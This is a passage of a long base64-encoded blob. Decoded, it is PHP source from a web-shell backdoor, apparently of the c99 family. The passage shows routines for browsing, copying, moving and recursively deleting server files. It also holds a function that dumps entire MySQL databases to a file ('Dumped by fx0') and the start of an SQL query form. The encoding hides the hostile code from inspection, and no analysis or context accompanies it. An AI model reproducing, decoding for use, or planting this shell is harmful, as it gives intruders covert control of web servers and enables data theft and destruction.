kZGF0YTsNCiAgICAgICRkYXRhID0gc2VyaWFsaXplKCRkYXRhKTsNCiAgICAgIHNldGNvb2tpZSgkc2Vzc19jb29raWUsJGRhdGEpOw0KICAgIH0NCiAgfQ0KICBmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpIHsNCiAgICBpZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHskJHYgPSAkX0dFVFskdl07fQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30NCiAgfQ0KICBpZiAoJHNvcnRfc2F2ZSkgew0KICAgIGlmICghZW1wdHkoJHNvcnQpKSB7c2V0Y29va2llKCJzb3J0Iiwkc29ydCk7fQ0KICAgIGlmICghZW1wdHkoJHNxbF9zb3J0KSkge3NldGNvb2tpZSgic3FsX3NvcnQiLCRzcWxfc29ydCk7fQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKSB7DQogICAgZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikgew0KICAgICAgaWYgKHN0cmxlbigkY29udGVudCkgPiAkbGVuKSB7DQogICAgICAgICRsZW4gPSBjZWlsKCRsZW4vMikgLSAyOw0KICAgICAgICByZXR1cm4gc3Vic3RyKCRjb250ZW50LCAwLCRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwtJGxlbik7DQogICAgICB9IGVsc2Uge3JldHVybiAkY29udGVudDt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkgew0KICAgIGZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkgew0KICAgICAgaWYgKCFpc19udW1lcmljKCRzaXplKSkgeyByZXR1cm4gRkFMU0U7IH0NCiAgICAgIGVsc2Ugew0KICAgICAgICBpZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQ0KICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30NCiAgICAgICAgZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9DQogICAgICAgIGVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30NCiAgICAgICAgcmV0dXJuICRzaXplOw0KICAgICAgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsNCiAgICAgICAgICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgICAgICAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgICByZXR1cm4gVFJVRTsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpIHsNCiAgICBmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkgew0KICAgICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KICAgICAgaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkpO30NCiAgICAgIGlmIChpc19kaXIoJGQpKSB7DQogICAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICByZXR1cm4gZnNfY29weV9kaXIoJGQsJHQpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmIChpc19maWxlKCRkKSkgeyByZXR1cm4gY29weSgkZCwkdCk7IH0NCiAgICAgIGVsc2UgeyByZXR1cm4gRkFMU0U7IH0NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpIHsNCiAgICBmdW5jdGlvbiBmc19tb3ZlX2RpcigkZCwkdCkgew0KICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAgICAgIGlmICghaXNfZGlyKCR0KSkge21rZGlyKCR0KTt9DQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgew0KICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgew0KICAgICAgICAgICRyZXQgPSBUUlVFOw0KICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgZWxzZSB7aWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IEZBTFNFO319DQogICAgICAgICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgICByZXR1cm4gVFJVRTsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfb2JqIikpIHsNCiAgICBmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkgew0KICAgICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KICAgICAgaWYgKGlzX2RpcigkZCkpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19tb3ZlX2RpcigkZCwkdCk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7DQogICAgICAgIGlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7fQ0KICAgICAgICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fQ0KICAgICAgfQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpIHsNCiAgICBmdW5jdGlvbiBmc19ybWRpcigkZCkgew0KICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7DQogICAgICAgICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICAgICAgICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJtZGlyKCRkKTsNCiAgICAgIHJldHVybiAhaXNfZGlyKCRkKTsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2JqIikpIHsNCiAgICBmdW5jdGlvbiBmc19ybW9iaigkbykgew0KICAgICAgJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KICAgICAgaWYgKGlzX2RpcigkbykpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KICAgICAgfQ0KICAgICAgZWxzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pO30NCiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHsNCiAgICBmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkgew0KICAgIGZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpIHsNCiAgICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICJzIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICItIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJwIjt9DQogICAgICBlbHNlIHskdHlwZSA9ICI/Ijt9DQogICAgICAkb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6Ii0iOw0KICAgICAgJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApPyJ3IjoiLSI7DQogICAgICAkb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKT8ieCI6Ii0iOw0KICAgICAgJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsNCiAgICAgICRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKT8idyI6Ii0iOw0KICAgICAgJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCk/IngiOiItIjsNCiAgICAgICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpPyJyIjoiLSI7DQogICAgICAkd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMik/ICJ3IjoiLSI7DQogICAgICAkd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKT8ieCI6Ii0iOw0KICAgICAgaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQ0KICAgICAgaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQ0KICAgICAgaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQ0KICAgICAgcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRwd3VpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1aWQpIHtyZXR1cm4gRkFMU0U7fX0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0Z3JnaWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikgYW5kICFpbl9hcnJheSgicG9zaXhfa2lsbCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2tpbGwoJGdpZCkge3JldHVybiBGQUxTRTt9fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2VfcGVybXMiKSkgew0KICAgIGZ1bmN0aW9uIHBhcnNlX3Blcm1zKCRtb2RlKSB7DQogICAgICBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQ0KICAgICAgZWxzZSB7JHQgPSAiPyI7fQ0KICAgICAgJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsNCiAgICAgICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogICAgICAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOw0KICAgICAgcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpIHsNCiAgICBmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpIHsNCiAgICAgICRvbmUgPSBpbnR2YWwoJHNvcnQpOw0KICAgICAgJHNlY29uZCA9IHN1YnN0cigkc29ydCwtMSk7DQogICAgICBpZiAoJHNlY29uZCAhPSAiZCIpIHskc2Vjb25kID0gImEiO30NCiAgICAgIHJldHVybiBhcnJheSgkb25lLCRzZWNvbmQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKSB7DQogICAgZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykgew0KICAgICAgaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiAgICAgIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogICAgICBlbHNlIHtyZXR1cm4gIjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZHVtcCIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KSB7DQogICAgICBnbG9iYWwgJHNoX3ZlcjsNCiAgICAgICRzb2NrID0gJHNldFsic29jayJdOw0KICAgICAgJGRiID0gJHNldFsiZGIiXTsNCiAgICAgICRwcmludCA9ICRzZXRbInByaW50Il07DQogICAgICAkbmwyYnIgPSAkc2V0WyJubDJiciJdOw0KICAgICAgJGZpbGUgPSAkc2V0WyJmaWxlIl07DQogICAgICAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICAgICAgJHRhYnMgPSAkc2V0WyJ0YWJzIl07DQogICAgICAkb25seXRhYnMgPSAkc2V0WyJvbmx5dGFicyJdOw0KICAgICAgJHJldCA9IGFycmF5KCk7DQogICAgICAkcmV0WyJlcnIiXSA9IGFycmF5KCk7DQogICAgICBpZiAoIWlzX3Jlc291cmNlKCRzb2NrKSkge2VjaG8oIkVycm9yOiBcJHNvY2sgaXMgbm90IHZhbGlkIHJlc291cmNlLiIpO30NCiAgICAgIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogICAgICBpZiAoZW1wdHkoJHByaW50KSkgeyRwcmludCA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRubDJicikpIHskbmwyYnIgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogICAgICBpZiAoZW1wdHkoJGZpbGUpKSB7DQogICAgICAgICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsNCiAgICAgIH0NCiAgICAgIGlmICghaXNfYXJyYXkoJHRhYnMpKSB7JHRhYnMgPSBhcnJheSgpO30NCiAgICAgIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogICAgICBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKSB7DQogICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOw0KICAgICAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQ0KICAgICAgfQ0KICAgICAgJG91dCA9ICINCiAgICAgICMgRHVtcGVkIGJ5IGZ4MA0KICAgICAgIw0KICAgICAgIyBIb3N0IHNldHRpbmdzOg0KICAgICAgIyBNeVNRTCB2ZXJzaW9uOiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgKCIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIpIi4iDQogICAgICAjIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iDQogICAgICAjIERCOiBcIiIuJGRiLiJcIg0KICAgICAgIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSI7DQogICAgICAkYyA9IGNvdW50KCRvbmx5dGFicyk7DQogICAgICBmb3JlYWNoKCR0YWJzIGFzICR0YWIpIHsNCiAgICAgICAgaWYgKChpbl9hcnJheSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKSB7DQogICAgICAgICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30NCiAgICAgICAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7DQogICAgICAgICAgaWYgKCEkcmVzKSB7JHJldFsiZXJyIl1bXSA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOw0KICAgICAgICAgICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsNCiAgICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgICAgICAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7DQogICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpIHsNCiAgICAgICAgICAgICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsNCiAgICAgICAgICAgICAgICAkdmFsdWVzID0gYXJyYXlfdmFsdWVzKCRyb3cpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICAgICAgICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOw0KICAgICAgICAgICAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gYCR0YWJgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLiR2YWx1ZXMuIicpO1xuIjsNCiAgICAgICAgICAgICAgICAkb3V0IC49ICRzcWw7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiAgICAgIGlmICgkZmlsZSkgew0KICAgICAgICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgICAgICAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsNCiAgICAgICAgICBmY2xvc2UgKCRmcCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQ0KICAgICAgcmV0dXJuICRvdXQ7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJlKCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkgeyRhcnJheSA9IGFycmF5KCk7fQ0KICAgICAgJHJlc3VsdCA9ICIiOw0KICAgICAgZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KSB7DQogICAgICAgICR2YWx1ZSA9ICIiOw0KICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQ0KICAgICAgICAkdmFsdWUgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgICAgICAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIikiO30NCiAgICAgICAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOw0KICAgICAgfQ0KICAgICAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7DQogICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykgew0KICAgICAgaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQ0KICAgICAgZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQ0KICAgICAgJGFycmF5ID0gYXJyYXkoKTsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQ0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICByZXR1cm4gJGFycmF5Ow0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfc21hcnRlcnJvcigkdHlwZSwkc29jaykgew0KICAgICAgaWYgKCRzb2NrKSB7JGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spO30NCiAgICAgIGVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQ0KICAgICAgJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KICAgICAgcmV0dXJuICRlcnJvcjsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKSB7DQogICAgICBnbG9iYWwgJHN1Ym1pdCwkc3FsX3gsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsNCiAgICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQ0KICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfeCA9ICRzcWxfZ290bzt9DQogICAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkgew0KICAgICAgICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiY2Fwcml2OF9zcWxxdWVyeVwiIG1ldGhvZD1QT1NUPjxiPiI7IGlmICgoJHNxbF